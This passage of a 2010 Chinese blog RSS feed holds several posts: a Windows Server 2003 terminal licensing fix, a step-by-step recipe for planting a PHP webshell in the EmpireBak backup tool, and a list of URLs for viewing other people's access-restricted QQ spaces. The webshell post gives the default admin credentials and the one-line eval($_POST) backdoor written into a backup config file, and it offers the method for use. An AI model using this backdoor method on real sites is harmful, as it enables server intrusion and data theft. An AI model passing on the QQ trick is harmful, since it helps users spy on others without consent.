rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell (2010年07月28日)">帝国备份王(Empirebak)拿webshell</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术 (2010年07月26日)">基于JSON的高级AJAX开发技术</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤 (2010年07月26日)">PHP安全之数据过滤</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/webshelleechueeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完美解决“由于这台计算机没有终端服务器客户端访问许可证”</title>
		<link>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html</link>
		<comments>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:29:01 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=512</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：
1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。
2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。
3、 单击“服务器设置”，然后双击“授权模式”。
4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。
原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。
相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年05月23日 -- PHP封装常用Javascript为JS类以便快速调用 (2)2008年10月17日 -- 多服务器的用户身份认证方案 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>由于windows2003默认仅支持2个终端用户的登陆。当“终端连接超出了最大连接”的情况出现导致不能登录时，可以：</p>
<p>1、在另外一台Windows2003的机器上运行“tsmmc.msc”，打开远程桌面连接，添加一个新的连接，输入远程服务器的IP地址、远程登录帐号和密码，登录到远程服务器桌面。这个方式可以随时登录到远程桌面。</p>
<p>2、在登录出问题的服务器上， 单击“开始”，指向“管理工具”，然后单击“终端服务配置”。</p>
<p>3、 单击“服务器设置”，然后双击“授权模式”。</p>
<p>4、将“授权模式”更改为“每用户”，然后单击“确定”。 以后就不会出现此类问题了。</p>
<p>原因：Window Server 2003 不管理“用户 CAL”。这就是说，即使许可证服务器数据库中有一个“用户 CAL”，它在被使用时也不会减少。这样就不会为了让每个用户都有一个有效的终端服务器 (TS) CAL 而根据“最终用户许可协议”(EULA) 的要求删除管理员。在没有使用“设备 CAL”的情况下，如果不是每个用户都有一个“用户 CAL”，就会违反 EULA。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案 (2008年10月17日)">多服务器的用户身份认证方案</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用 (2010年05月23日)">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>帝国备份王(Empirebak)拿webshell</title>
		<link>http://www.5bay.cn/server-building/aoeempirebakeebshell.html</link>
		<comments>http://www.5bay.cn/server-building/aoeempirebakeebshell.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:26:19 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webs]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=509</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>fhod 邪恶八进制
帝国备份王(Empirebak)简介
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.
可在 http://www.phome.net/ebak2008os/ 下载到
默认账号密码为
admin  123456
登陆后先备份一次数据
备份时可选择备份到的目录。。默认有个safemod
当然也可以是别的..这里以safemod来说了
备份完毕后来到
管理备份目录
打包并下载
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了

备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能
如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下
我是替换
config.php的内容
内容为
&#60;?php
$b_table=&#8221;a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system&#8221;;
$tb[a]=1;
$tb[bak_guest3Book1]=1;
$tb[bak_info17Content1]=1;
$tb[bak_info17Sort1]=1;
$tb[bak_info18Content1]=1;
$tb[bak_info1Content1]=1;
$tb[bak_info1Sort1]=1;
$tb[bak_info2Content1]=1;
$tb[bak_info2Sort1]=1;
$tb[bak_info4Content1]=1;
$tb[bak_info4Sort1]=1;
$tb[bak_info5Content1]=1;
$tb[bak_info5Sort1]=1;
$tb[bak_info6Content1]=1;
$tb[bak_info6Sort1]=1;
$tb[bak_info7Content1]=1;
$tb[bak_info7Sort1]=1;
$tb[bak_info8Content1]=1;
$tb[bak_info8Sort1]=1;
$tb[bak_page12Content1]=1;
$tb[bak_page1Content1]=1;
$tb[bak_page21Content1]=1;
$tb[bak_poll20Inve1]=1;
$tb[bak_poll20InveCount1]=1;
$tb[bak_poll20InveOpt1]=1;
$tb[guest16Book1]=1;
$tb[guest3Book1]=1;
$tb[htmlImage]=1;
$tb[htmlImageTmp]=1;
$tb[info10Content1]=1;
$tb[info10Sort1]=1;
$tb[info12Content1]=1;
$tb[info12Sort1]=1;
$tb[info15Content1]=1;
$tb[info15Sort1]=1;
$tb[info17Content1]=1;
$tb[info17Sort1]=1;
$tb[info18Content1]=1;
$tb[info18Sort1]=1;
$tb[info19Content1]=1;
$tb[info19Sort1]=1;
$tb[info1Content1]=1;
$tb[info1Sort1]=1;
$tb[info2Content1]=7;
$tb[info2Sort1]=1;
$tb[info4Content1]=1;
$tb[info4Sort1]=1;
$tb[info5Content1]=1;
$tb[info5Sort1]=1;
$tb[info6Content1]=1;
$tb[info6Sort1]=1;
$tb[info7Content1]=1;
$tb[info7Sort1]=1;
$tb[info8Content1]=1;
$tb[info8Sort1]=1;
$tb[operatorPower]=1;
$tb[operators]=1;
$tb[page11Content1]=1;
$tb[page12Content1]=1;
$tb[page13Content1]=1;
$tb[page14Content1]=1;
$tb[page1Content1]=1;
$tb[page21Content1]=1;
$tb[poll20Inve1]=1;
$tb[poll20InveCount1]=1;
$tb[poll20InveOpt1]=1;
$tb[poll9Inve1]=1;
$tb[poll9InveCount1]=1;
$tb[poll9InveOpt1]=1;
$tb[system]=1;
$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname=&#8221;s422857db0&#8243;;
$b_stru=1;
$b_strufour=0;
$b_dbchar=&#8221;auto&#8221;;
$b_beover=0;
$b_insertf=&#8221;replace&#8221;;
$b_autofield=&#8221;,,&#8221;;
?&#62;然后替换
&#60;?php eval($_POST[1]);?&#62;by fhod~~~~~
访问
http://www.xxx.com/upload/bdata/safemod/config.php
能看到 by fhod~~~~~
证明成功得到shell
密码为1
前提是要有管理密码能进入管理^_^
相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>fhod 邪恶八进制<br />
帝国备份王(Empirebak)简介<br />
EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库.<br />
可在 <a rel="external" href="http://www.phome.net/ebak2008os/" target="_blank">http://www.phome.net/ebak2008os/</a> 下载到<br />
默认账号密码为<br />
admin  123456<br />
登陆后先备份一次数据<br />
备份时可选择备份到的目录。。默认有个safemod<br />
当然也可以是别的..这里以safemod来说了<br />
备份完毕后来到<br />
管理备份目录<br />
打包并下载<br />
把开始备份到的数据可以先下回分析..当然数据库比较大的话可以省略这一步..因为我之前下载已经分析完毕了<br />
<span id="more-509"></span><br />
备份后的safemod目录下所有的表都是以PHP保存的..Empirebak管理备份目录 下有个替换文件内容 功能</p>
<p>如果你不知道要替换什么内容的话..那最好还是下载备份文件回来看下</p>
<p>我是替换<br />
config.php的内容</p>
<p>内容为</p>
<p>&lt;?php<br />
$b_table=&#8221;a,bak_guest3Book1,bak_info17Content1,bak_info17Sort1,bak_info18Content1,bak_info1Content1,bak_info1Sort1,bak_info2Content1,bak_info2Sort1,bak_info4Content1,bak_info4Sort1,bak_info5Content1,bak_info5Sort1,bak_info6Content1,bak_info6Sort1,bak_info7Content1,bak_info7Sort1,bak_info8Content1,bak_info8Sort1,bak_page12Content1,bak_page1Content1,bak_page21Content1,bak_poll20Inve1,bak_poll20InveCount1,bak_poll20InveOpt1,guest16Book1,guest3Book1,htmlImage,htmlImageTmp,info10Content1,info10Sort1,info12Content1,info12Sort1,info15Content1,info15Sort1,info17Content1,info17Sort1,info18Content1,info18Sort1,info19Content1,info19Sort1,info1Content1,info1Sort1,info2Content1,info2Sort1,info4Content1,info4Sort1,info5Content1,info5Sort1,info6Content1,info6Sort1,info7Content1,info7Sort1,info8Content1,info8Sort1,operatorPower,operators,page11Content1,page12Content1,page13Content1,page14Content1,page1Content1,page21Content1,poll20Inve1,poll20InveCount1,poll20InveOpt1,poll9Inve1,poll9InveCount1,poll9InveOpt1,system&#8221;;<br />
$tb[a]=1;<br />
$tb[bak_guest3Book1]=1;<br />
$tb[bak_info17Content1]=1;<br />
$tb[bak_info17Sort1]=1;<br />
$tb[bak_info18Content1]=1;<br />
$tb[bak_info1Content1]=1;<br />
$tb[bak_info1Sort1]=1;<br />
$tb[bak_info2Content1]=1;<br />
$tb[bak_info2Sort1]=1;<br />
$tb[bak_info4Content1]=1;<br />
$tb[bak_info4Sort1]=1;<br />
$tb[bak_info5Content1]=1;<br />
$tb[bak_info5Sort1]=1;<br />
$tb[bak_info6Content1]=1;<br />
$tb[bak_info6Sort1]=1;<br />
$tb[bak_info7Content1]=1;<br />
$tb[bak_info7Sort1]=1;<br />
$tb[bak_info8Content1]=1;<br />
$tb[bak_info8Sort1]=1;<br />
$tb[bak_page12Content1]=1;<br />
$tb[bak_page1Content1]=1;<br />
$tb[bak_page21Content1]=1;<br />
$tb[bak_poll20Inve1]=1;<br />
$tb[bak_poll20InveCount1]=1;<br />
$tb[bak_poll20InveOpt1]=1;<br />
$tb[guest16Book1]=1;<br />
$tb[guest3Book1]=1;<br />
$tb[htmlImage]=1;<br />
$tb[htmlImageTmp]=1;<br />
$tb[info10Content1]=1;<br />
$tb[info10Sort1]=1;<br />
$tb[info12Content1]=1;<br />
$tb[info12Sort1]=1;<br />
$tb[info15Content1]=1;<br />
$tb[info15Sort1]=1;<br />
$tb[info17Content1]=1;<br />
$tb[info17Sort1]=1;<br />
$tb[info18Content1]=1;<br />
$tb[info18Sort1]=1;<br />
$tb[info19Content1]=1;<br />
$tb[info19Sort1]=1;<br />
$tb[info1Content1]=1;<br />
$tb[info1Sort1]=1;<br />
$tb[info2Content1]=7;<br />
$tb[info2Sort1]=1;<br />
$tb[info4Content1]=1;<br />
$tb[info4Sort1]=1;<br />
$tb[info5Content1]=1;<br />
$tb[info5Sort1]=1;<br />
$tb[info6Content1]=1;<br />
$tb[info6Sort1]=1;<br />
$tb[info7Content1]=1;<br />
$tb[info7Sort1]=1;<br />
$tb[info8Content1]=1;<br />
$tb[info8Sort1]=1;<br />
$tb[operatorPower]=1;<br />
$tb[operators]=1;<br />
$tb[page11Content1]=1;<br />
$tb[page12Content1]=1;<br />
$tb[page13Content1]=1;<br />
$tb[page14Content1]=1;<br />
$tb[page1Content1]=1;<br />
$tb[page21Content1]=1;<br />
$tb[poll20Inve1]=1;<br />
$tb[poll20InveCount1]=1;<br />
$tb[poll20InveOpt1]=1;<br />
$tb[poll9Inve1]=1;<br />
$tb[poll9InveCount1]=1;<br />
$tb[poll9InveOpt1]=1;<br />
$tb[system]=1;</p>
<p>$b_baktype=0;<br />
$b_filesize=300;<br />
$b_bakline=500;<br />
$b_autoauf=1;<br />
$b_dbname=&#8221;s422857db0&#8243;;<br />
$b_stru=1;<br />
$b_strufour=0;<br />
$b_dbchar=&#8221;auto&#8221;;<br />
$b_beover=0;<br />
$b_insertf=&#8221;replace&#8221;;<br />
$b_autofield=&#8221;,,&#8221;;<br />
?&gt;然后替换</p>
<p>&lt;?php eval($_POST[1]);?&gt;by fhod~~~~~</p>
<p>访问</p>
<p><a rel="external" href="http://www.xxx.com/upload/bdata/safemod/config.php" target="_blank">http://www.xxx.com/upload/bdata/safemod/config.php</a><br />
能看到 by fhod~~~~~<br />
证明成功得到shell</p>
<p>密码为1</p>
<p>前提是要有管理密码能进入管理^_^</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (3)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/2008" title="2008" rel="tag">2008</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/webs" title="webs" rel="tag">webs</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E8%BD%AF%E4%BB%B6" title="软件" rel="tag">软件</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码 (2010年07月28日)">Webshell下破解计算机管理员密码</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤 (2010年07月26日)">PHP安全之数据过滤</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作 (2010年07月26日)">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/aoeempirebakeebshell.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>完全简单破解QQ空间访问受限</title>
		<link>http://www.5bay.cn/me/eeyaoqee.html</link>
		<comments>http://www.5bay.cn/me/eeyaoqee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:23:40 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[邪人邪语]]></category>
		<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=506</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/me/eeyaoqee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>要看访问受限的QQ空间很简单啊,用手工.
在地址栏里输入
http://qqxoo.com/main.html?qqid=QQ号   这样就可能看对方的空间
http://qqshow-user.tencent.com/QQ号/11/00 看MM的QQ绣
http://shuqian.qq.com/QQ号/  QQ        书签
http://h.qbar.qq.com/QQ号 这个是看她的Q吧
http://shop.paipai.com/QQ号 看MM的拍拍
http://wenwen.soso.com/z/ShowUser.e?sp=QQ号 这个是什么呢，问问
http://wpa.qq.com/pa?p=1:QQ号:4    这个是查看好友在不在就看这个了 ，MM是不是在线
用手工的是很简单.不信就试试,反正也就一分钟.
相关博文2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>要看访问受限的QQ空间很简单啊,用手工.<br />
在地址栏里输入<br />
<a rel="external" href="http://qqxoo.com/main.html?qqid=QQ" target="_blank">http://qqxoo.com/main.html?qqid=QQ</a>号   这样就可能看对方的空间<br />
<a rel="external" href="http://qqshow-user.tencent.com/QQ" target="_blank">http://qqshow-user.tencent.com/QQ</a>号/11/00 看MM的QQ绣<br />
<a rel="external" href="http://shuqian.qq.com/QQ" target="_blank">http://shuqian.qq.com/QQ</a>号/  QQ        书签<br />
<a rel="external" href="http://h.qbar.qq.com/QQ" target="_blank">http://h.qbar.qq.com/QQ</a>号 这个是看她的Q吧<br />
<a rel="external" href="http://shop.paipai.com/QQ" target="_blank">http://shop.paipai.com/QQ</a>号 看MM的拍拍<br />
